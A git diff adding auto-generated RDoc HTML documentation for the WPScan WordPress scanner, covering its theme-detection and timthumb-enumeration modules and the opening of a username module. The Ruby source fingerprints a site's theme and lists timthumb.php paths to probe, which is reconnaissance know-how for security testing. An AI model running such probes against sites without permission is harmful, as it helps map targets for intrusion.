+          <li><a href="./GitUpdater.html">GitUpdater</a></li>
+        
+          <li><a href="./Malwares.html">Malwares</a></li>
+        
+          <li><a href="./Object.html">Object</a></li>
+        
+          <li><a href="./RpcClient.html">RpcClient</a></li>
+        
+          <li><a href="./SvnUpdater.html">SvnUpdater</a></li>
+        
+          <li><a href="./Svn_Parser.html">Svn_Parser</a></li>
+        
+          <li><a href="./Updater.html">Updater</a></li>
+        
+          <li><a href="./UpdaterFactory.html">UpdaterFactory</a></li>
+        
+          <li><a href="./Vulnerable.html">Vulnerable</a></li>
+        
+          <li><a href="./WebSite.html">WebSite</a></li>
+        
+          <li><a href="./WpConfigBackup.html">WpConfigBackup</a></li>
+        
+          <li><a href="./WpDetector.html">WpDetector</a></li>
+        
+          <li><a href="./WpEnumerator.html">WpEnumerator</a></li>
+        
+          <li><a href="./WpFullPathDisclosure.html">WpFullPathDisclosure</a></li>
+        
+          <li><a href="./WpItem.html">WpItem</a></li>
+        
+          <li><a href="./WpLoginProtection.html">WpLoginProtection</a></li>
+        
+          <li><a href="./WpOptions.html">WpOptions</a></li>
+        
+          <li><a href="./WpPlugin.html">WpPlugin</a></li>
+        
+          <li><a href="./WpPlugins.html">WpPlugins</a></li>
+        
+          <li><a href="./WpReadme.html">WpReadme</a></li>
+        
+          <li><a href="./WpTarget.html">WpTarget</a></li>
+        
+          <li><a href="./WpTheme.html">WpTheme</a></li>
+        
+          <li><a href="./WpThemes.html">WpThemes</a></li>
+        
+          <li><a href="./WpTimthumbs.html">WpTimthumbs</a></li>
+        
+          <li><a href="./WpUser.html">WpUser</a></li>
+        
+          <li><a href="./WpUsernames.html">WpUsernames</a></li>
+        
+          <li><a href="./WpVersion.html">WpVersion</a></li>
+        
+          <li><a href="./WpVulnerability.html">WpVulnerability</a></li>
+        
+          <li><a href="./WpscanOptions.html">WpscanOptions</a></li>
+        
+        </ul>
+        <div id="no-class-search-results" style="display: none;">No matching classes.</div>
+      </div>
+
+      
+    </div>
+  </div>
+
+  <div id="documentation">
+    <h1 class="class">WpTheme</h1>
+
+    <div id="description" class="description">
+      
+    </div><!-- description -->
+
+    
+    
+    
+    <div id="5Buntitled-5D" class="documentation-section">
+      
+
+      
+
+      
+
+      
+      <!-- Attributes -->
+      <div id="attribute-method-details" class="method-section section">
+        <h3 class="section-header">Attributes</h3>
+
+        
+        <div id="style_url-attribute-method" class="method-detail">
+          <a name="style_url"></a>
+          
+          <div class="method-heading attribute-method-heading">
+            <span class="method-name">style_url</span><span
+              class="attribute-access-type">[R]</span>
+          </div>
+
+          <div class="method-description">
+          
+          
+          
+          </div>
+        </div>
+        
+        <div id="version-attribute-method" class="method-detail">
+          <a name="version"></a>
+          
+          <div class="method-heading attribute-method-heading">
+            <span class="method-name">version</span><span
+              class="attribute-access-type">[R]</span>
+          </div>
+
+          <div class="method-description">
+          
+          
+          
+          </div>
+        </div>
+        
+      </div><!-- attribute-method-details -->
+      
+
+      <!-- Methods -->
+      
+      <div id="public-class-method-details" class="method-section section">
+        <h3 class="section-header">Public Class Methods</h3>
+
+      
+        <div id="find-method" class="method-detail ">
+          <a name="method-c-find"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">find</span><span
+              class="method-args">(target_uri)</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+            <div class="method-source-code" id="find-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/wp_theme.rb, line 44</span>
+<span class="ruby-keyword">def</span> <span class="ruby-keyword">self</span>.<span class="ruby-identifier">find</span>(<span class="ruby-identifier">target_uri</span>)
+  <span class="ruby-keyword">self</span>.<span class="ruby-identifier">methods</span>.<span class="ruby-identifier">grep</span>(<span class="ruby-regexp">/find_from_/</span>).<span class="ruby-identifier">each</span> <span class="ruby-keyword">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">method_to_call</span><span class="ruby-operator">|</span>
+    <span class="ruby-identifier">theme</span> = <span class="ruby-keyword">self</span>.<span class="ruby-identifier">send</span>(<span class="ruby-identifier">method_to_call</span>, <span class="ruby-identifier">target_uri</span>)
+
+    <span class="ruby-keyword">return</span> <span class="ruby-identifier">theme</span> <span class="ruby-keyword">if</span> <span class="ruby-identifier">theme</span>
+  <span class="ruby-keyword">end</span>
+  <span class="ruby-keyword">nil</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- find-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- find-method -->
+
+      
+        <div id="new-method" class="method-detail ">
+          <a name="method-c-new"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">new</span><span
+              class="method-args">(options = {})</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+            <div class="method-source-code" id="new-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/wp_theme.rb, line 25</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">initialize</span>(<span class="ruby-identifier">options</span> = {})
+  <span class="ruby-identifier">options</span>[<span class="ruby-value">:vulns_file</span>]    = (<span class="ruby-identifier">options</span>[<span class="ruby-value">:vulns_file</span>] <span class="ruby-operator">!=</span> <span class="ruby-keyword">nil</span> <span class="ruby-keyword">and</span> <span class="ruby-identifier">options</span>[<span class="ruby-value">:vulns_file</span>] <span class="ruby-operator">!=</span> <span class="ruby-string">&quot;&quot;</span>) <span class="ruby-operator">?</span>
+      <span class="ruby-identifier">options</span>[<span class="ruby-value">:vulns_file</span>] <span class="ruby-operator">:</span> <span class="ruby-constant">DATA_DIR</span> <span class="ruby-operator">+</span> <span class="ruby-string">&quot;/wp_theme_vulns.xml&quot;</span>
+  <span class="ruby-identifier">options</span>[<span class="ruby-value">:vulns_xpath</span>] = <span class="ruby-string">&quot;//theme[@name='$name$']/vulnerability&quot;</span>
+  <span class="ruby-identifier">options</span>[<span class="ruby-value">:type</span>]        = <span class="ruby-string">&quot;themes&quot;</span>
+  <span class="ruby-ivar">@version</span>              = <span class="ruby-identifier">options</span>[<span class="ruby-value">:version</span>]
+  <span class="ruby-ivar">@style_url</span>            = <span class="ruby-identifier">options</span>[<span class="ruby-value">:style_url</span>]
+  <span class="ruby-keyword">super</span>(<span class="ruby-identifier">options</span>)
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- new-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- new-method -->
+
+      
+      </div><!-- public-class-method-details -->
+    
+      <div id="protected-class-method-details" class="method-section section">
+        <h3 class="section-header">Protected Class Methods</h3>
+
+      
+        <div id="find_from_css_link-method" class="method-detail ">
+          <a name="method-c-find_from_css_link"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">find_from_css_link</span><span
+              class="method-args">(target_uri)</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>Discover the wordpress theme name by parsing the css link rel</p>
+            
+
+            
+            <div class="method-source-code" id="find_from_css_link-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/wp_theme.rb, line 60</span>
+<span class="ruby-keyword">def</span> <span class="ruby-keyword">self</span>.<span class="ruby-identifier">find_from_css_link</span>(<span class="ruby-identifier">target_uri</span>)
+  <span class="ruby-identifier">response</span> = <span class="ruby-constant">Browser</span>.<span class="ruby-identifier">instance</span>.<span class="ruby-identifier">get</span>(<span class="ruby-identifier">target_uri</span>.<span class="ruby-identifier">to_s</span>, {<span class="ruby-value">:follow_location</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-keyword">true</span>, <span class="ruby-value">:max_redirects</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-value">2</span>})
+
+  <span class="ruby-identifier">matches</span> = <span class="ruby-regexp">%{https?://[^&quot;']+/themes/([^&quot;']+)/style.css}</span>.<span class="ruby-identifier">match</span>(<span class="ruby-identifier">response</span>.<span class="ruby-identifier">body</span>)
+  <span class="ruby-keyword">if</span> <span class="ruby-identifier">matches</span>
+    <span class="ruby-identifier">style_url</span> = <span class="ruby-identifier">matches</span>[<span class="ruby-value">0</span>]
+    <span class="ruby-identifier">theme_name</span> = <span class="ruby-identifier">matches</span>[<span class="ruby-value">1</span>]
+
+    <span class="ruby-keyword">return</span> <span class="ruby-identifier">new</span>(<span class="ruby-value">:name</span>            =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">theme_name</span>,
+               <span class="ruby-value">:style_url</span>       =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">style_url</span>,
+               <span class="ruby-value">:base_url</span>        =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">style_url</span>,
+               <span class="ruby-value">:path</span>            =<span class="ruby-operator">&gt;</span> <span class="ruby-string">&quot;&quot;</span>,
+               <span class="ruby-value">:wp_content_dir</span>  =<span class="ruby-operator">&gt;</span> <span class="ruby-string">&quot;&quot;</span>
+    )
+  <span class="ruby-keyword">end</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- find_from_css_link-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- find_from_css_link-method -->
+
+      
+        <div id="find_from_wooframework-method" class="method-detail ">
+          <a name="method-c-find_from_wooframework"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">find_from_wooframework</span><span
+              class="method-args">(target_uri)</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p><a
+href="http://code.google.com/p/wpscan/issues/detail?id=141">code.google.com/p/wpscan/issues/detail?id=141</a></p>
+            
+
+            
+            <div class="method-source-code" id="find_from_wooframework-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/wp_theme.rb, line 78</span>
+<span class="ruby-keyword">def</span> <span class="ruby-keyword">self</span>.<span class="ruby-identifier">find_from_wooframework</span>(<span class="ruby-identifier">target_uri</span>)
+  <span class="ruby-identifier">body</span> = <span class="ruby-constant">Browser</span>.<span class="ruby-identifier">instance</span>.<span class="ruby-identifier">get</span>(<span class="ruby-identifier">target_uri</span>.<span class="ruby-identifier">to_s</span>).<span class="ruby-identifier">body</span>
+  <span class="ruby-identifier">regexp</span> = <span class="ruby-regexp">%{&lt;meta name=&quot;generator&quot; content=&quot;([^\s&quot;]+)\s?([^&quot;]+)?&quot; /&gt;\s+&lt;meta name=&quot;generator&quot; content=&quot;WooFramework\s?([^&quot;]+)?&quot; /&gt;}</span>
+
+  <span class="ruby-identifier">matches</span> = <span class="ruby-identifier">regexp</span>.<span class="ruby-identifier">match</span>(<span class="ruby-identifier">body</span>)
+  <span class="ruby-keyword">if</span> <span class="ruby-identifier">matches</span>
+    <span class="ruby-identifier">woo_theme_name</span> = <span class="ruby-identifier">matches</span>[<span class="ruby-value">1</span>]
+    <span class="ruby-identifier">woo_theme_version</span> = <span class="ruby-identifier">matches</span>[<span class="ruby-value">2</span>]
+    <span class="ruby-identifier">woo_framework_version</span> = <span class="ruby-identifier">matches</span>[<span class="ruby-value">3</span>] <span class="ruby-comment"># Not used at this time</span>
+
+    <span class="ruby-keyword">return</span> <span class="ruby-identifier">new</span>(<span class="ruby-value">:name</span>            =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">woo_theme_name</span>,
+               <span class="ruby-value">:version</span>         =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">woo_theme_version</span>,
+               <span class="ruby-value">:base_url</span>        =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">matches</span>[<span class="ruby-value">0</span>],
+               <span class="ruby-value">:path</span>            =<span class="ruby-operator">&gt;</span> <span class="ruby-string">&quot;&quot;</span>,
+               <span class="ruby-value">:wp_content_dir</span>  =<span class="ruby-operator">&gt;</span> <span class="ruby-string">&quot;&quot;</span>
+    )
+  <span class="ruby-keyword">end</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- find_from_wooframework-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- find_from_wooframework-method -->
+
+      
+      </div><!-- protected-class-method-details -->
+    
+      <div id="public-instance-method-details" class="method-section section">
+        <h3 class="section-header">Public Instance Methods</h3>
+
+      
+        <div id="3D-3D-3D-method" class="method-detail ">
+          <a name="method-i-3D-3D-3D"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">===</span><span
+              class="method-args">(wp_theme)</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+            <div class="method-source-code" id="3D-3D-3D-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/wp_theme.rb, line 53</span>
+<span class="ruby-keyword">def</span> <span class="ruby-operator">===</span>(<span class="ruby-identifier">wp_theme</span>)
+  <span class="ruby-identifier">wp_theme</span>.<span class="ruby-identifier">name</span> <span class="ruby-operator">===</span> <span class="ruby-ivar">@name</span> <span class="ruby-keyword">and</span> <span class="ruby-identifier">wp_theme</span>.<span class="ruby-identifier">version</span> <span class="ruby-operator">===</span> <span class="ruby-ivar">@version</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- 3D-3D-3D-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- 3D-3D-3D-method -->
+
+      
+      </div><!-- public-instance-method-details -->
+    
+    </div><!-- 5Buntitled-5D -->
+  
+
+  </div><!-- documentation -->
+
+  <div id="validator-badges">
+    <p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
+    <p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
+      Rdoc Generator</a> 2</small>.</p>
+  </div>
+
+</body>
+</html>
+
diff --git a/doc/WpTimthumbs.html b/doc/WpTimthumbs.html
new file mode 100644
index 00000000..a311a682
--- /dev/null
+++ b/doc/WpTimthumbs.html
@@ -0,0 +1,361 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+  <meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
+
+  <title>Module: WpTimthumbs</title>
+
+  <link rel="stylesheet" href="./rdoc.css" type="text/css" media="screen" />
+
+  <script src="./js/jquery.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/thickbox-compressed.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/quicksearch.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/darkfish.js" type="text/javascript" charset="utf-8"></script>
+
+</head>
+<body id="top" class="module">
+
+  <div id="metadata">
+    <div id="home-metadata">
+      <div id="home-section" class="section">
+        <h3 class="section-header">
+          <a href="./index.html">Home</a>
+          <a href="./index.html#classes">Classes</a>
+          <a href="./index.html#methods">Methods</a>
+        </h3>
+      </div>
+    </div>
+
+    <div id="file-metadata">
+      <div id="file-list-section" class="section">
+        <h3 class="section-header">In Files</h3>
+        <div class="section-body">
+          <ul>
+          
+            <li><a href="./lib/wpscan/modules/wp_timthumbs_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
+              class="thickbox" title="lib/wpscan/modules/wp_timthumbs.rb">lib/wpscan/modules/wp_timthumbs.rb</a></li>
+          
+          </ul>
+        </div>
+      </div>
+
+      
+    </div>
+
+    <div id="class-metadata">
+      
+
+      
+
+      
+
+      
+      <!-- Method Quickref -->
+      <div id="method-list-section" class="section">
+        <h3 class="section-header">Methods</h3>
+        <ul class="link-list">
+          
+          <li><a href="#method-i-has_timthumbs-3F">#has_timthumbs?</a></li>
+          
+          <li><a href="#method-i-targets_url_from_theme">#targets_url_from_theme</a></li>
+          
+          <li><a href="#method-i-timthumbs">#timthumbs</a></li>
+          
+        </ul>
+      </div>
+      
+
+      
+    </div>
+
+    <div id="project-metadata">
+      
+      
+      <div id="fileindex-section" class="section project-section">
+        <h3 class="section-header">Files</h3>
+        <ul>
+        
+          <li class="file"><a href="./CREDITS.html">CREDITS</a></li>
+        
+          <li class="file"><a href="./Gemfile.html">Gemfile</a></li>
+        
+          <li class="file"><a href="./README.html">README</a></li>
+        
+        </ul>
+      </div>
+      
+
+      <div id="classindex-section" class="section project-section">
+        <h3 class="section-header">Class/Module Index
+          <span class="search-toggle"><img src="./images/find.png"
+            height="16" width="16" alt="[+]"
+            title="show/hide quicksearch" /></span></h3>
+        <form action="#" method="get" accept-charset="utf-8" class="initially-hidden">
+        <fieldset>
+          <legend>Quicksearch</legend>
+          <input type="text" name="quicksearch" value=""
+            class="quicksearch-field" />
+        </fieldset>
+        </form>
+
+        <ul class="link-list">
+        
+          <li><a href="./Array.html">Array</a></li>
+        
+          <li><a href="./Browser.html">Browser</a></li>
+        
+          <li><a href="./BruteForce.html">BruteForce</a></li>
+        
+          <li><a href="./CacheFileStore.html">CacheFileStore</a></li>
+        
+          <li><a href="./Exploit.html">Exploit</a></li>
+        
+          <li><a href="./Generate_List.html">Generate_List</a></li>
+        
+          <li><a href="./GitUpdater.html">GitUpdater</a></li>
+        
+          <li><a href="./Malwares.html">Malwares</a></li>
+        
+          <li><a href="./Object.html">Object</a></li>
+        
+          <li><a href="./RpcClient.html">RpcClient</a></li>
+        
+          <li><a href="./SvnUpdater.html">SvnUpdater</a></li>
+        
+          <li><a href="./Svn_Parser.html">Svn_Parser</a></li>
+        
+          <li><a href="./Updater.html">Updater</a></li>
+        
+          <li><a href="./UpdaterFactory.html">UpdaterFactory</a></li>
+        
+          <li><a href="./Vulnerable.html">Vulnerable</a></li>
+        
+          <li><a href="./WebSite.html">WebSite</a></li>
+        
+          <li><a href="./WpConfigBackup.html">WpConfigBackup</a></li>
+        
+          <li><a href="./WpDetector.html">WpDetector</a></li>
+        
+          <li><a href="./WpEnumerator.html">WpEnumerator</a></li>
+        
+          <li><a href="./WpFullPathDisclosure.html">WpFullPathDisclosure</a></li>
+        
+          <li><a href="./WpItem.html">WpItem</a></li>
+        
+          <li><a href="./WpLoginProtection.html">WpLoginProtection</a></li>
+        
+          <li><a href="./WpOptions.html">WpOptions</a></li>
+        
+          <li><a href="./WpPlugin.html">WpPlugin</a></li>
+        
+          <li><a href="./WpPlugins.html">WpPlugins</a></li>
+        
+          <li><a href="./WpReadme.html">WpReadme</a></li>
+        
+          <li><a href="./WpTarget.html">WpTarget</a></li>
+        
+          <li><a href="./WpTheme.html">WpTheme</a></li>
+        
+          <li><a href="./WpThemes.html">WpThemes</a></li>
+        
+          <li><a href="./WpTimthumbs.html">WpTimthumbs</a></li>
+        
+          <li><a href="./WpUser.html">WpUser</a></li>
+        
+          <li><a href="./WpUsernames.html">WpUsernames</a></li>
+        
+          <li><a href="./WpVersion.html">WpVersion</a></li>
+        
+          <li><a href="./WpVulnerability.html">WpVulnerability</a></li>
+        
+          <li><a href="./WpscanOptions.html">WpscanOptions</a></li>
+        
+        </ul>
+        <div id="no-class-search-results" style="display: none;">No matching classes.</div>
+      </div>
+
+      
+    </div>
+  </div>
+
+  <div id="documentation">
+    <h1 class="module">WpTimthumbs</h1>
+
+    <div id="description" class="description">
+      
+    </div><!-- description -->
+
+    
+    
+    
+    <div id="5Buntitled-5D" class="documentation-section">
+      
+
+      
+
+      
+
+      
+
+      <!-- Methods -->
+      
+      <div id="public-instance-method-details" class="method-section section">
+        <h3 class="section-header">Public Instance Methods</h3>
+
+      
+        <div id="has_timthumbs-3F-method" class="method-detail ">
+          <a name="method-i-has_timthumbs-3F"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">has_timthumbs?</span><span
+              class="method-args">(theme_name, options = {})</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+            <div class="method-source-code" id="has_timthumbs-3F-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/modules/wp_timthumbs.rb, line 24</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">has_timthumbs?</span>(<span class="ruby-identifier">theme_name</span>, <span class="ruby-identifier">options</span> = {})
+  <span class="ruby-operator">!</span><span class="ruby-identifier">timthumbs</span>(<span class="ruby-identifier">theme_name</span>, <span class="ruby-identifier">options</span>).<span class="ruby-identifier">empty?</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- has_timthumbs-3F-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- has_timthumbs-3F-method -->
+
+      
+        <div id="timthumbs-method" class="method-detail ">
+          <a name="method-i-timthumbs"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">timthumbs</span><span
+              class="method-args">(theme_name = nil, options = {})</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+            <div class="method-source-code" id="timthumbs-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/modules/wp_timthumbs.rb, line 28</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">timthumbs</span>(<span class="ruby-identifier">theme_name</span> = <span class="ruby-keyword">nil</span>, <span class="ruby-identifier">options</span> = {})
+  <span class="ruby-keyword">if</span> <span class="ruby-ivar">@wp_timthumbs</span>.<span class="ruby-identifier">nil?</span>
+    <span class="ruby-identifier">options</span>[<span class="ruby-value">:type</span>]                  = <span class="ruby-string">&quot;timthumbs&quot;</span>
+    <span class="ruby-identifier">options</span>[<span class="ruby-value">:only_vulnerable_ones</span>]  = <span class="ruby-keyword">false</span>
+    <span class="ruby-identifier">options</span>[<span class="ruby-value">:file</span>]                  = <span class="ruby-identifier">options</span>[<span class="ruby-value">:file</span>] <span class="ruby-operator">||</span> <span class="ruby-constant">DATA_DIR</span> <span class="ruby-operator">+</span> <span class="ruby-string">&quot;/timthumbs.txt&quot;</span>
+    <span class="ruby-identifier">options</span>[<span class="ruby-value">:vulns_file</span>]            = <span class="ruby-string">&quot;xxx&quot;</span>
+    <span class="ruby-identifier">options</span>[<span class="ruby-value">:vulns_xpath</span>]           = <span class="ruby-string">&quot;xxx&quot;</span>
+    <span class="ruby-identifier">options</span>[<span class="ruby-value">:vulns_xpath_2</span>]         = <span class="ruby-string">&quot;xxx&quot;</span>
+
+    <span class="ruby-constant">WpOptions</span>.<span class="ruby-identifier">check_options</span>(<span class="ruby-identifier">options</span>)
+    <span class="ruby-keyword">if</span> <span class="ruby-identifier">theme_name</span> <span class="ruby-operator">==</span> <span class="ruby-keyword">nil</span>
+      <span class="ruby-identifier">custom_items</span> = <span class="ruby-keyword">nil</span>
+    <span class="ruby-keyword">else</span>
+      <span class="ruby-identifier">custom_items</span> = <span class="ruby-identifier">targets_url_from_theme</span>(<span class="ruby-identifier">theme_name</span>, <span class="ruby-identifier">options</span>)
+    <span class="ruby-keyword">end</span>
+    <span class="ruby-ivar">@wp_timthumbs</span> = <span class="ruby-constant">WpEnumerator</span>.<span class="ruby-identifier">enumerate</span>(<span class="ruby-identifier">options</span>, <span class="ruby-identifier">custom_items</span>)
+  <span class="ruby-keyword">end</span>
+  <span class="ruby-ivar">@wp_timthumbs</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- timthumbs-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- timthumbs-method -->
+
+      
+      </div><!-- public-instance-method-details -->
+    
+      <div id="protected-instance-method-details" class="method-section section">
+        <h3 class="section-header">Protected Instance Methods</h3>
+
+      
+        <div id="targets_url_from_theme-method" class="method-detail ">
+          <a name="method-i-targets_url_from_theme"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">targets_url_from_theme</span><span
+              class="method-args">(theme_name, options)</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+            <div class="method-source-code" id="targets_url_from_theme-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/modules/wp_timthumbs.rb, line 49</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">targets_url_from_theme</span>(<span class="ruby-identifier">theme_name</span>, <span class="ruby-identifier">options</span>)
+  <span class="ruby-identifier">targets</span> = []
+  <span class="ruby-identifier">theme_name</span> = <span class="ruby-constant">URI</span>.<span class="ruby-identifier">escape</span>(<span class="ruby-identifier">theme_name</span>)
+
+  <span class="ruby-node">%{
+    timthumb.php lib/timthumb.php inc/timthumb.php includes/timthumb.php
+    scripts/timthumb.php tools/timthumb.php functions/timthumb.php
+  }</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">file</span><span class="ruby-operator">|</span>
+    <span class="ruby-identifier">targets</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-constant">WpItem</span>.<span class="ruby-identifier">new</span>(
+        <span class="ruby-value">:base_url</span>       =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">options</span>[<span class="ruby-value">:base_url</span>],
+        <span class="ruby-value">:path</span>           =<span class="ruby-operator">&gt;</span> <span class="ruby-node">&quot;themes/#{theme_name}/#{file}&quot;</span>,
+        <span class="ruby-value">:wp_content_dir</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">options</span>[<span class="ruby-value">:wp_content_dir</span>],
+        <span class="ruby-value">:name</span>           =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">theme_name</span>,
+        <span class="ruby-value">:vulns_file</span>     =<span class="ruby-operator">&gt;</span> <span class="ruby-string">&quot;XX&quot;</span>,
+        <span class="ruby-value">:type</span>           =<span class="ruby-operator">&gt;</span> <span class="ruby-string">&quot;timthumbs&quot;</span>,
+        <span class="ruby-value">:wp_plugins_dir</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">options</span>[<span class="ruby-value">:wp_plugins_dir</span>]
+    )
+  <span class="ruby-keyword">end</span>
+  <span class="ruby-identifier">targets</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- targets_url_from_theme-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- targets_url_from_theme-method -->
+
+      
+      </div><!-- protected-instance-method-details -->
+    
+    </div><!-- 5Buntitled-5D -->
+  
+
+  </div><!-- documentation -->
+
+  <div id="validator-badges">
+    <p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
+    <p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
+      Rdoc Generator</a> 2</small>.</p>
+  </div>
+
+</body>
+</html>
+
diff --git a/doc/WpUsernames.html b/doc/WpUsernames.html
new file mode 100644
index 00000000..79bda99b
--- /dev/null
+++ b/doc/WpUsernames.html
@@ -0,0 +1,488 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+  <meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
+
+  <title>Module: WpUsernames</title>
+
+  <link rel="stylesheet" href="./rdoc.css" type="text/css" media="screen" />
+
+  <script src="./js/jquery.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/thickbox-compressed.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/quicksearch.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/darkfish.js" type="text/javascript" charset="utf-8"></script>
+
+</head>
+<body id="top" class="module">
+
+  <div id="metadata">
+    <div id="home-metadata">
+      <div id="home-section" class="section">
+        <h3 class="section-header">
+          <a href="./index.html">Home</a>
+          <a href="./index.html#classes">Classes</a>
+          <a href="./index.html#methods">Methods</a>
+        </h3>
+      </div>
+    </div>
+
+    <div id="file-metadata">
+      <div id="file-list-section" class="section">
+        <h3 class="section-header">In Files</h3>
+        <div class="section-body">
+          <ul>
+          
+            <li><a href="./lib/wpscan/modules/wp_usernames_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
+              class="thickbox" title="lib/wpscan/modules/wp_usernames.rb">lib/wpscan/modules/wp_usernames.rb</a></li>
+          
+          </ul>
+        </div>
+      </div>
+
+      
+    </div>
+
+    <div id="class-metadata">
+      
+
+      
+
+      
+
+      
+      <!-- Method Quickref -->
+      <div id="method-list-section" class="section">
+        <h3 class="section-header">Methods</h3>
+        <ul class="link-list">
+          
+          <li><a href="#method-i-author_url">#author_url</a></li>
+          
+          <li><a href="#method-i-extract_nickname_from_body">#extract_nickname_from_body</a></li>
+          
+          <li><a href="#method-i-get_nickname_from_response">#get_nickname_from_response</a></li>
+          
+          <li><a href="#method-i-get_nickname_from_url">#get_nickname_from_url</a></li>
+          
+          <li><a href="#method-i-remove_junk_from_nickname">#remove_junk_from_nickname</a></li>
+          
+          <li><a href="#method-i-usernames">#usernames</a></li>
+          
+        </ul>
+      </div>
+      
+
+      
+    </div>
+
+    <div id="project-metadata">
+      
+      
+      <div id="fileindex-section" class="section project-section">
+        <h3 class="section-header">Files</h3>
+        <ul>
+        
+          <li class="file"><a href="./CREDITS.html">CREDITS</a></li>
+        
+          <li class="file"><a href="./Gemfile.html">Gemfile</a></li>
+        
+          <li class="file"><a href="./README.html">README</a></li>
+        
+        </ul>
+      </div>
+      
+
+      <div id="classindex-section" class="section project-section">
+        <h3 class="section-header">Class/Module Index
+          <span class="search-toggle"><img src="./images/find.png"
+            height="16" width="16" alt="[+]"
+            title="show/hide quicksearch" /></span></h3>
+        <form action="#" method="get" accept-charset="utf-8" class="initially-hidden">
+        <fieldset>
+          <legend>Quicksearch</legend>
+          <input type="text" name="quicksearch" value=""
+            class="quicksearch-field" />
+        </fieldset>
+        </form>
+
+        <ul class="link-list">
+        
+          <li><a href="./Array.html">Array</a></li>
+        
+          <li><a href="./Browser.html">Browser</a></li>
+        
+          <li><a href="./BruteForce.html">BruteForce</a></li>
+        
+          <li><a href="./CacheFileStore.html">CacheFileStore</a></li>
+        
